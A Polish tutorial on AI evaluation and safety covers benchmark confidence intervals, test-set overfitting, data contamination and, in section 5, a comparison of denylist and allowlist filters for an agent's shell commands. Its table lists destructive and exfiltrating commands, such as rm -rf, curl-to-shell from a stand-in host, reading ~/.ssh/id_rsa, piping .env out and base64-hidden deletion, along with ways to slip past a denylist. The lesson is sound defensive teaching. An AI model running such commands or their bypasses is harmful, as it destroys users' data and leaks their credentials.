Przejdź do treści
coden

Ocena i bezpieczeństwo systemów AI: jak mierzyć i jak pilnować

Benchmarki i niepewność pomiaru, jak wybór na podstawie zestawu testowego zawyża wyniki, kontaminacja danych na eksperymencie, rodzaje ryzyk, filtr poleceń agenta jako lista zakazów kontra lista dozwolonych i obrona w głąb.

12 minut Matěj Žalmánek 2026-10-16

Seria Podstawy AI Część 52 z 52
  1. Mapa sztucznej inteligencji: co jest czym i jak to do siebie pasuje
  2. Krótka historia sztucznej inteligencji: od Turinga do modeli językowych
  3. Dane, model, trening, inferencja: podstawowe pojęcia na jednym przykładzie
  4. Jak czytać zapis matematyczny: symbole, indeksy, sumy i kwantyfikatory
  5. Zbiory i relacje: klocki, z których składają się definicje w AI
  6. Funkcje i odwzorowania: dlaczego każdy model AI jest funkcją
  7. Logika i dowody: reguły, według których rozumuje AI
  8. Grafy i drzewa: struktura, na której opierają się przeszukiwanie i sieci neuronowe
  9. Algebra liniowa dla uczenia maszynowego: wektory, macierze i dlaczego AI głównie mnoży
  10. Pochodne, gradient i reguła łańcuchowa: jak model ustala, w którą stronę się uczyć
  11. Spadek gradientu: jak uczy się model
  12. Czym jest prawdopodobieństwo: od rzutu kostką do aksjomatów Kołmogorowa
  13. Prawdopodobieństwo warunkowe i twierdzenie Bayesa: jak zmienić ocenę, gdy dowiesz się czegoś nowego
  14. Zmienna losowa i dystrybuanta: jedna funkcja, która mówi o rozkładzie wszystko
  15. Funkcja gęstości i funkcja prawdopodobieństwa: dlaczego zmienna ciągła ma w punkcie prawdopodobieństwo zero
  16. Wartość oczekiwana, wariancja i kowariancja: gdzie leży rozkład, jak jest szeroki i co z czym się wiąże
  17. Przegląd rozkładów prawdopodobieństwa: Bernoulliego, dwumianowy, Poissona, jednostajny, normalny i wykładniczy
  18. Prawo wielkich liczb i centralne twierdzenie graniczne: dlaczego średnie zachowują się tak przewidywalnie
  19. Statystyka i estymacja parametrów: największa wiarygodność, MAP i przedziały ufności
  20. Teoria informacji: entropia, entropia krzyżowa i dywergencja KL — skąd się biorą funkcje straty
  21. Przeszukiwanie przestrzeni stanów: BFS, DFS, UCS i A* z animacjami
  22. Gry i przeciwnik: minimax, przycinanie alfa-beta i Monte Carlo tree search
  23. Spełnianie ograniczeń: backtracking, propagacja ograniczeń i AC-3 na sudoku i mapie czeskich krajów
  24. Logika i systemy z bazą wiedzy: wnioskowanie w przód i wstecz, rezolucja i systemy ekspertowe
  25. Planowanie: STRIPS, świat klocków, heurystyki z relaksacji i planowanie w agentach AI
  26. Przeszukiwanie lokalne i symulowane wyżarzanie: komiwojażer przez czeskie miasta wojewódzkie
  27. Algorytmy genetyczne: populacja, krzyżowanie, mutacja i selekcja na plecaku na wycieczkę
  28. Strategie ewolucyjne i programowanie genetyczne: od reguły jednej piątej do prawa Keplera
  29. Optymalizacja kolonią mrówek: jak ślad feromonowy znajduje krótką drogę
  30. Optymalizacja rojem cząstek: bezwładność, własne doświadczenie i doświadczenie roju
  31. Neuroewolucja: ewolucja wag i kształtu sieci neuronowych oraz algorytm NEAT
  32. Zbiory rozmyte i funkcje przynależności: jak zapisać „trochę ciepło”
  33. Logika rozmyta a prawdopodobieństwo: dlaczego „trochę ciepło” nie znaczy „prawdopodobnie ciepło”
  34. Logika rozmyta: t-normy, implikacje i reguły JEŻELI–TO
  35. Sterowanie rozmyte: Mamdani i Sugeno od wentylatora po wahadło na wózku
  36. Klasteryzacja rozmyta: algorytm fuzzy c-means i punkty między skupieniami
  37. Systemy neuro-rozmyte (ANFIS): reguły rozmyte, które uczą się z danych
  38. Łańcuchy Markowa: macierz przejścia, rozkład stacjonarny i PageRank
  39. Ukryte modele Markowa: algorytm Viterbiego i nieuczciwe kasyno
  40. Sieci bayesowskie: dlaczego trawa jest mokra i co z tego wynika dla zraszacza
  41. Filtr Kalmana: jak z niedokładnych pomiarów oszacować, gdzie jest samochód i jak szybko jedzie
  42. Rodzaje uczenia maszynowego: nadzorowane, nienadzorowane, półnadzorowane i inne
  43. Prompty, kontekst i RAG: jak dać modelowi właściwe informacje
  44. Wariacyjne autoenkodery (VAE): nowe obrazki z ciągłej przestrzeni latentnej
  45. Generatywne sieci przeciwstawne (GAN): fałszerz kontra detektyw
  46. Modele dyfuzyjne: jak z czystego szumu powstaje obraz
  47. Procesy decyzyjne Markowa: stany, akcje, nagrody i równania Bellmana
  48. Q-learning i DQN: uczenie się wartości akcji od tabeli po sieć neuronową
  49. Policy gradient i PPO: uczenie się bezpośrednio polityki
  50. Jak działa agent AI: model językowy w pętli z narzędziami
  51. Programowanie z agentami AI: zadanie, testy i kontrola
  52. Ocena i bezpieczeństwo systemów AI: jak mierzyć i jak pilnować

Pełny program serii Gotowe: 52 z 83 tematów

Czego się dowiesz
  • Dlaczego różnica kilku punktów procentowych na benchmarku często nic nie znaczy.
  • Jak zestaw testowy się zużywa i co robi kontaminacja.
  • Dlaczego agentowi lepiej zezwalać niż zakazywać i jak składać warstwy ochrony.

Warto wiedzieć wcześniej: Jak działa agent AI: model językowy w pętli z narzędziami, Programowanie z agentami AI: zadanie, testy i kontrola

„Nowy model jest o 3 punkty lepszy.” „Agent jest bezpieczny, ma zakaz niebezpiecznych poleceń.” Oba zdania brzmią uspokajająco i oba mogą być nieprawdziwe, choć nikt nie kłamie. Pierwsze z powodu tego, jak się mierzy, drugie z powodu tego, jak się zakazuje. W ostatniej części modułu o agentach przyjrzymy się dwóm pytaniom, które przy systemach AI zadaje się najczęściej: jak poznać, co naprawdę potrafią, i jak sprawić, żeby nie robiły tego, czego nie powinny.

Nawiązuje do części Ocena modelu, Jak działa agent AI i Programowanie z agentami AI.

1. Jak się mierzy, co potrafi model

Definicja — benchmark

Benchmark to stały zestaw zadań ze znanymi poprawnymi odpowiedziami i regułą oceniania, na którym porównuje się modele: pytania wielokrotnego wyboru z wielu dziedzin (MMLU), zadania tekstowe z matematyki (GSM8K), poprawki prawdziwych błędów w projektach open source sprawdzane testami (SWE-bench). Wynikiem jest zwykle odsetek poprawnie rozwiązanych zadań. Uzupełnieniem są porównania przez ludzi (ludzie głosują, która z dwóch anonimowych odpowiedzi jest lepsza) i własne testy na zadaniach, które są ważne dla ciebie.

Mówiąc prościej

Benchmark to sprawdzian, który wszyscy piszą taki sam. Przydaje się do porównań, ale mówi tylko, jak model pisze ten sprawdzian. Czy poradzi sobie z twoją pracą, poznasz tylko wtedy, gdy dasz mu twoją pracę.

Nawet uczciwy sprawdzian ma jednak ograniczoną dokładność. Model, który rozwiąże 82 % z 200 zadań, ma 95% przedział ufności 76,1–86,7 %; model z 85 % ma 79,4–89,3 %. Przedziały w dużej części się pokrywają — z takiego pomiaru nie da się powiedzieć, który jest lepszy. Na 2 000 zadaniach przedział dla 82 % miałby już tylko 80,3–83,6 %. Ilekroć widzisz różnicę kilku punktów procentowych, pytaj, na ilu zadaniach ją zmierzono.

Definicja — 95% przedział ufności

Model rozwiązuje każde zadanie z nieznanym prawdopodobieństwem p; na n zadaniach mierzymy odsetek p̂. 95% przedział ufności to procedura, która z p̂ i n wylicza przedział tak, że gdybyśmy powtarzali pomiar na nowych zestawach, zawierałby prawdziwe p w 95 % przypadków. Nie jest to twierdzenie „p leży w przedziale z prawdopodobieństwem 95 %” — losowy jest przedział, nie p.

Przedziały w tej części liczymy wzorem Wilsona (Edwin B. Wilson, 1927). W przeciwieństwie do prostego p̂ ± 1,96 · √(p̂(1 − p̂) / n) nie wychodzi poza 0 i 100 % i działa także dla odsetków bliskich krańcom:

( p̂ + z2 / 2n ± z √( p̂(1 − p̂) / n + z2 / 4n2 ) ) / ( 1 + z2 / n )

p̂
zmierzony odsetek poprawnych odpowiedzi — punkt wyjścia, wokół którego budujemy przedział
z2 / 2n
przesunięcie do środka: jakbyśmy do wyników dodali z2/2 ≈ 2 poprawne i 2 błędne odpowiedzi. Mały zestaw nie może więc twierdzić „100 %, przedział zerowej szerokości”
z √(…)
połowa szerokości przedziału; pierwszy składnik pod pierwiastkiem to wariancja zmierzonego odsetka, która maleje z n — dlatego czterokrotnie więcej zadań daje tylko o połowę węższy przedział
1 + z2 / n
mianownik sprowadza przesunięty środek i szerokość do właściwej skali; dla dużego n wynosi prawie 1 i wzór przechodzi w prosty p̂ ± z · √(p̂(1 − p̂) / n)
z = 1,96 to kwantyl rozkładu normalnego: między −1,96 a 1,96 leży 95 % jego pola.
Przykład — przedział dla 82 % z 200 zadań i różnica dwóch modeli

z2 = 1,962 = 3,8416. Środek: 0,82 + 3,8416 / 400 = 0,8296. Połowa szerokości: 1,96 · √(0,82 · 0,18 / 200 + 3,8416 / 160 000) = 1,96 · √(0,000738 + 0,000024) = 0,0541. Mianownik: 1 + 3,8416 / 200 = 1,0192.

Przedział: od (0,8296 − 0,0541) / 1,0192 = 0,7609 do (0,8296 + 0,0541) / 1,0192 = 0,8671, czyli 76,1–86,7 %.

Czy różnica 85 % wobec 82 % jest prawdziwa? Błąd standardowy różnicy dwóch niezależnych odsetków wynosi √(0,82 · 0,18 / 200 + 0,85 · 0,15 / 200) = 0,0371, więc 95% przedział różnicy to 3 ± 1,96 · 3,71 = 3 ± 7,3 punktu. Zawiera zero — różnicy nie da się odróżnić od przypadku. (Gdy oba modele rozwiązują te same zadania, można mierzyć czulej, parami, tylko na zadaniach, w których się różnią).

Ile zadań potrzeba, żeby połowa szerokości wynosiła 1 punkt? Z z √(p(1 − p) / n) ≤ 0,01 wynika n ≥ z2 p(1 − p) / 0,012 = 3,8416 · 0,82 · 0,18 / 0,0001 ≈ 5 671 zadań.

2. Zestaw testowy się zużywa

Definicja — adaptacyjne przeuczenie na zestawie testowym

Gdy na podstawie wyników na tym samym zestawie testowym wielokrotnie się wybiera — najlepszy z wielu wariantów, ustawień, promptów — wynik przestaje być nieobciążonym oszacowaniem. Wybrany wariant jest najlepszy po części tylko dlatego, że na tym zestawie sprzyjał mu przypadek. Na nowych danych wypadnie gorzej. Ogólniej ujmuje to prawo Goodharta: gdy miara staje się celem, przestaje dobrze mierzyć.

Mówiąc prościej

Stu uczniów, wszyscy tak samo dobrzy, pisze ten sam test. Ktoś z nich będzie miał najlepszy wynik — nie dlatego, że jest lepszy, ale dlatego, że akurat dobrze strzelił. Kto wybiera „najlepszego ucznia” na podstawie jednego testu, wybiera głównie szczęście.

Eksperyment: K wariantów modelu, wszystkie z prawdziwą dokładnością 70 %, mierzymy na tym samym zestawie i ogłaszamy wynik najlepszego. Średnia z 300 powtórzeń:

65 %70 %75 %80 %85 % 110100500 liczba testowanych wariantów K (skala log.) ogłoszona dokładność (%)
Ogłoszona dokładność najlepszego z K wariantów (prawdziwa dokładność wszystkich to 70 %) zestaw ze 100 zadaniami zestaw z 1 000 zadań prawdziwa dokładność 70 %

Na zestawie ze 100 zadaniami wybór spośród 100 wariantów ogłosi średnio 81,1 %, a spośród 500 wariantów 83,2 % — o 13 punktów więcej, niż którykolwiek z nich naprawdę potrafi. Większy zestaw pomaga (przy 1 000 zadań 73,6 %), ale problem nie znika. Warianty w eksperymencie mylą się niezależnie; prawdziwe warianty jednego modelu mylą się podobnie, więc efekt bywa mniejszy — kierunek jest jednak ten sam. Ochrona: wybierać na jednym zestawie (walidacyjnym), a ostateczną liczbę zmierzyć raz na innym, nietkniętym zestawie.

Dlaczego tak wychodzi, da się policzyć dokładnie. Liczba zadań X, które rozwiąże jeden wariant, ma rozkład dwumianowy Bin(n, 0,7). Najlepszy z K wariantów osiągnie co najmniej t zadań, gdy uda się to przynajmniej jednemu z nich:

P(max ≥ t) = 1 − ( 1 − P(X ≥ t) )K

P(X ≥ t)
szansa, że jeden wariant przypadkiem rozwiąże co najmniej t zadań; dla t powyżej prawdziwego poziomu jest mała — i właśnie z niej żyje wybór
K
liczba testowanych wariantów; w wykładniku, bo (1 − P)K to szansa, że nie uda się to żadnemu z niezależnych wariantów
P(max ≥ t)
szansa, że ogłoszony (najlepszy) wynik osiągnie t; wraz ze wzrostem K zbliża się do jedności nawet dla wysokiego t
Wzór obowiązuje przy założeniu, że warianty mylą się niezależnie — tak jak w eksperymencie.
Przykład — 80 % ze 100 zadań

Jeden wariant: X ~ Bin(100; 0,7) ma wartość oczekiwaną 70 i odchylenie standardowe √(100 · 0,7 · 0,3) = 4,58 zadania. Co najmniej 80 zadań rozwiąże z prawdopodobieństwem P(X ≥ 80) = 0,0165, czyli w około 1,6 % przypadków — o ponad dwa odchylenia standardowe powyżej średniej.

Spośród 100 wariantów: P(max ≥ 80) = 1 − (1 − 0,0165)100 = 0,810. Wynik „80 % i więcej”, który u jednego wariantu jest rzadkością, ogłosimy w czterech eksperymentach na pięć.

Wartość oczekiwaną najlepszego wyniku można policzyć ze wzoru bez symulacji: E[max] = ∑t=1n P(max ≥ t). Wychodzi 81,1 % dla 100 wariantów, 83,2 % dla 500 wariantów i 73,6 % dla 100 wariantów na zestawie z 1 000 zadań — to samo, co dała symulacja z 300 powtórzeniami (81,1, 83,2 i 73,6 %).

3. Kontaminacja: model widział odpowiedzi

Definicja — kontaminacja danych

Kontaminacja zachodzi, gdy zadania testowe (albo ich bliskie kopie) trafią do danych treningowych. W dużych modelach językowych, uczonych na dużej części internetu, to poważny problem: benchmarki są publiczne, często razem z rozwiązaniami, i model mógł je zapamiętać. Zmierzony wynik mierzy wtedy pamięć, nie umiejętność.

Mówiąc prościej

Uczeń, który zdobył treść sprawdzianu razem z wynikami. Dostanie szóstkę — i nic to nie mówi o tym, czy umie liczyć.

Eksperyment na cyfrach 8 × 8 z części o klasteryzacji: klasyfikator najbliższego sąsiada uczy się tylko z trzech przykładów każdej cyfry, więc na 200 cyfrach testowych ma uczciwie 60 %. Potem do danych treningowych „przecieka” część cyfr testowych:

ŷ(x) = yi*,   i* = argmini ∈ trening ∑j=164 (xj − xi,j)2

∑ (xj − xi,j)2
kwadrat odległości euklidesowej dwóch obrazków po 64 piksele; mały, gdy obrazki są do siebie podobne
argmini ∈ trening
który przykład treningowy jest najbliżej — szuka się tylko wśród tego, co model „widział”; dlatego wyciek danych testowych wprost zmienia odpowiedzi
yi*
odpowiedzią jest cyfra najbliższego sąsiada; żadnego uogólniania, tylko „wygląda jak tamto”
Gdy cyfra testowa wyciekła do treningu, ma sama do siebie odległość 0, jest swoim najbliższym sąsiadem i zawsze dostaje poprawną cyfrę. Wyciek całego zestawu daje więc 100 % bez względu na to, co potrafi klasyfikator.
0 %25 %50 %75 %100 % 60 % 0 % 69 % 10 % 79 % 25 % 92 % 50 % 100 % 100 % odsetek przykładów testowych w danych treningowych (%) dokładność na teście (%)
Dokładność na teście w zależności od tego, ile przykładów testowych wyciekło do danych treningowych

Przy wycieku 10 % dokładność skacze do 69 %, przy 25 % do 79 %, przy połowie do 92 %, a przy całym zestawie testowym do 100 %. Ciekawe, że poprawiają się także cyfry, które nie wyciekły (przy wycieku połowy 86 % zamiast 60 %): wyciekłe przykłady są podobne do pozostałych testowych, więc pomagają także przy nich. Dlatego nie wystarczy sprawdzać, czy model widział dokładnie to samo pytanie — wystarczy, że widział podobne. Obrona: niepubliczne zestawy testowe, nowe zadania utworzone dopiero po zakończeniu uczenia modelu i sprawdzanie, czy model nie potrafi „dopisać” zadania z pamięci.

4. Co może pójść źle

Bezpieczeństwo systemów AI to nie jedna rzecz. Pomaga rozróżniać, skąd przychodzi szkoda:

  • Błędy — model się myli albo zmyśla (halucynacje), a człowiek mu wierzy.
  • Nadużycie — ktoś używa modelu, żeby szkodzić: oszukańcze e-maile, pomoc w ataku, dezinformacja.
  • Ataki na system — prompt injection w dokumencie albo na stronie internetowej przejmuje kontrolę nad agentem; „jailbreak” obchodzi reguły modelu.
  • Niebezpieczne działania — agent z dostępem do komputera albo kont robi coś nieodwracalnego, choć nikt tego nie chciał.
  • Niezgodność celów — system optymalizuje dokładnie to, co mu zadaliśmy, zamiast tego, czego chcieliśmy (nadmierna optymalizacja nagrody). Wraz z rosnącą samodzielnością systemów to temat badań i regulacji.

5. Zakazywać czy zezwalać

Konkretny przykład z praktyki agentów: agent może uruchamiać polecenia w terminalu. Jak sprawić, żeby nie uruchomił niczego niebezpiecznego? Porównamy dwa filtry na 28 poleceniach — 12 zwykłych (testy, git, wypisanie plików) i 16 niebezpiecznych (usuwanie, wysyłanie danych na zewnątrz, uruchomienie obcego skryptu).

Definicja — lista zakazów i lista dozwolonych

Lista zakazów (denylist) blokuje wymienione niebezpieczne wzorce, a wszystko inne przepuszcza. Lista dozwolonych (allowlist) przepuszcza tylko wymienione bezpieczne polecenia, a wszystko inne zatrzymuje — u agenta zwykle tak, że musi to zatwierdzić człowiek. Zasada bezpieczeństwa najmniejszych uprawnień zaleca to drugie.

Mówiąc prościej

Portier z listą osób, które nie mogą wejść, wpuści każdego, kogo nie ma na liście — łącznie ze złodziejem w innym płaszczu. Portier z listą osób, które mogą wejść, wpuści tylko je; pozostali poczekają, aż ktoś po nich przyjdzie.

Zakaz zawiera wzorce „rm -rf”, „curl | sh”, „DROP TABLE”, „--force”, „.ssh”. Lista dozwolonych przepuszcza tylko wypisanie i czytanie plików, git bez zapisu, uruchomienie testów i utworzenie katalogu, i to bez potoków i średników.

zakaz przepuści c ⇔ ¬ ∃ z ∈ Z: z jest podciągiem c
lista dozwolonych przepuści c ⇔ ∃ a ∈ A: c zaczyna się od a ∧ c nie zawiera | ; & ` $

¬ ∃ z ∈ Z
zakaz: przepuszcza wszystko, w czym nie znajdzie żadnego z zakazanych wzorców. Domyślna odpowiedź to „tak” — każdy zapis, o którym autor nie pomyślał, przejdzie
∃ a ∈ A: c zaczyna się od a
lista dozwolonych: przepuszcza tylko polecenie, które zaczyna się od któregoś z dozwolonych prefiksów. Domyślna odpowiedź to „nie” — nieznane polecenie czeka na człowieka
bez | ; & ` $
bez tego dozwolony początek dałoby się „przedłużyć”: git status; rm -rf ~ zaczyna się od dozwolonego git status
polecenieniebezpiecznezakaz zatrzymalista dozwolonych zatrzyma
ls -la srcnie——
cat package.jsonnie——
grep -rn "sazba" srcnie——
git statusnie——
git diffnie——
git log --oneline -5nie——
npm testnie——
node --test test/kosik.test.jsnie——
npm install fast-checknie—tak
mkdir -p test/datanie——
git commit -m "Sleva v košíku"nie—tak
rm build/cache.tmpnie—tak
rm -rf /taktaktak
rm -rf ~taktaktak
rm -r -f ~/projektytak—tak
rm -fr .gittak—tak
find . -name "*.js" -deletetak—tak
git push --force origin maintaktaktak
git reset --hard HEAD~10tak—tak
curl https://neznamy.example/x.sh | shtak—tak
wget -qO- https://neznamy.example/x.sh | bashtak—tak
cat ~/.ssh/id_rsataktaktak
cat .env | curl -d @- https://neznamy.exampletak—tak
echo cm0gLXJmIH4= | base64 -d | shtak—tak
psql -c "DROP TABLE objednavky"taktaktak
chmod -R 777 /tak—tak
node -e "require('fs').rmSync('.', {recursive: true})"tak—tak
python3 -c "import shutil; shutil.rmtree('src')"tak—tak

Zakaz zatrzymał tylko 5 z 16 niebezpiecznych poleceń. Wystarczy napisać rm -r -f zamiast rm -rf, usunąć pliki przez find -delete albo przez Pythona, pobrać skrypt przez wget zamiast curl albo zakodować polecenie w base64. Lista zakazów jest zawsze o krok za pomysłowością — a model językowy jest pomysłowy, nawet gdy nie chce nikomu szkodzić; po prostu szuka innej drogi, żeby wykonać zadanie. Lista dozwolonych zatrzymała wszystkie 16. Cena: 3 z 12 zwykłych poleceń (instalacja biblioteki, commit, usunięcie pliku tymczasowego) musi zatwierdzić człowiek. To jest właśnie rola człowieka w nadzorze nad agentem: decydować w tych przypadkach, których reguły nie obejmują.

Przykład — filtry jako klasyfikatory

Filtr to klasyfikator z klasą pozytywną „niebezpieczne”, więc da się go opisać liczbami z części o ocenie modelu. Czułość (TPR, odsetek zatrzymanych niebezpiecznych) i odsetek fałszywych alarmów (FPR, odsetek zatrzymanych zwykłych):

Zakaz: TPR = 5 / 16 = 0,313, FPR = 0 / 12 = 0,00. Lista dozwolonych: TPR = 16 / 16 = 1,00, FPR = 3 / 12 = 0,25.

Fałszywy alarm kosztuje tu kilka sekund człowieka, który kliknie „zatwierdź”; przeoczone niebezpieczne polecenie może kosztować cały projekt. Przy tak niesymetrycznych kosztach opłaca się filtr o wysokiej czułości nawet za cenę fałszywych alarmów — czyli lista dozwolonych.

6. Obrona w głąb

Żadna warstwa sama nie wystarczy — model da się przekonać, filtr obejść, człowiek się męczy. Dlatego warstwy się składa:

  • Model — dostrajanie, żeby odmawiał szkodliwych żądań i przyznawał się do niepewności (część o RLHF).
  • Instrukcje i oddzielenie danych — prompt systemowy, teksty ze stron internetowych i dokumentów oznaczone jako dane, nie polecenia.
  • Uprawnienia — narzędzia z najmniejszymi koniecznymi prawami, listy dozwolonych, oddzielne konta i klucze.
  • Izolacja — agent działa w kontenerze albo maszynie wirtualnej, bez dostępu do rzeczy, których nie potrzebuje.
  • Człowiek w pętli — zatwierdzanie nieodwracalnych i nietypowych kroków.
  • Zapis i kontrola — to, co agent zrobił, da się wstecznie prześledzić i cofnąć (git, kopie zapasowe, logi).

Pszkoda = p1 · p2 · … · pm

p1
prawdopodobieństwo, że szkodliwe działanie przepuści pierwsza warstwa (na przykład model go nie odmówi)
p2
prawdopodobieństwo, że przepuści je druga warstwa (filtr poleceń) — mnoży się, bo działanie musi przejść przez wszystkie warstwy
pm
ostatnia warstwa (izolacja, kopia zapasowa); każda kolejna warstwa z p < 1 zmniejsza wynik, nawet jeśli sama jest słaba
Pszkoda
szansa, że szkodliwe działanie przejdzie aż do końca
Obowiązuje tylko w uproszczeniu — przy założeniu, że warstwy zawodzą niezależnie.

Cztery warstwy, z których każda przepuszcza 10 % szkodliwych działań, dają 0,14 = 0,0001 — jedno na dziesięć tysięcy. Tyle że warstwy zwykle nie są niezależne: prompt injection, który przekona model, często przekona też człowieka, który zatwierdza na podstawie wyjaśnienia modelu. Gdyby warstwy od drugiej do czwartej dawały się oszukać zawsze, gdy da się oszukać pierwsza, zostanie Pszkoda = 0,1. Dlatego warstwy powinny opierać się na różnych zasadach: model na treści, filtr na składni polecenia, izolacja na tym, do czego proces w ogóle ma dostęp.

Definicja — red teaming i ocena niebezpiecznych zdolności

Red teaming to celowe szukanie awarii: ludzie (a coraz częściej inne modele) próbują nakłonić system do tego, czego robić nie powinien, a znalezione słabości się naprawia. Ocena niebezpiecznych zdolności mierzy, czy model radzi sobie z zadaniami, które mogłyby prowadzić do poważnej szkody (na przykład pomoc w cyberataku), a duzi twórcy modeli na podstawie wyników zaostrzają zabezpieczenia, zanim model opublikują.

Mówiąc prościej

Bank wynajmuje włamywacza, żeby spróbował obrabować skarbiec — zanim spróbuje prawdziwy. Każda dziura, którą znajdzie, to dziura, której nikt inny już nie znajdzie.

Do środków technicznych dochodzi też regulacja. Europejski akt w sprawie sztucznej inteligencji (AI Act, obowiązujący od 2024 roku i stosowany stopniowo) dzieli systemy według ryzyka: niektórych praktyk wprost zakazuje, a szczegółowe obowiązki nakłada na systemy wysokiego ryzyka, które decydują o ludziach — przy rekrutacji, kredytach albo w ochronie zdrowia.

7. Podsumowanie

  • Benchmark to sprawdzian: przydatny do porównań, ale z ograniczoną dokładnością. Na 200 zadaniach 82 % ma przedział 76,1–86,7 %.
  • Wybieranie na podstawie tego samego zestawu testowego zawyża wynik: wybór spośród 100 wariantów z prawdziwą dokładnością 70 % ogłosi 81,1 %.
  • Kontaminacja mierzy pamięć zamiast umiejętności; wyciek połowy testu podniósł dokładność z 60 % do 92 %.
  • Ryzyka: błędy, nadużycie, ataki na system, niebezpieczne działania i niezgodność celów.
  • Lista zakazów zatrzymała 5 z 16 niebezpiecznych poleceń, lista dozwolonych wszystkie 16 — za cenę zatwierdzania.
  • Bezpieczeństwo opiera się na warstwach: model, oddzielenie danych, uprawnienia, izolacja, człowiek w pętli i zapis.

Chcesz to sprawdzić w praktyce? Spisz dziesięć zadań ze swojej pracy razem z poprawnymi wynikami i niech agent AI porówna na nich dwa modele — i niech do wyniku doda przedział ufności. Potem spróbuj wymyślić trzy polecenia, które obeszłyby filtr zakazów twojego agenta.

Masz inne zdanie? Napisz na support@coden-app.com.

Agent na twoim komputerze, sterowany z telefonu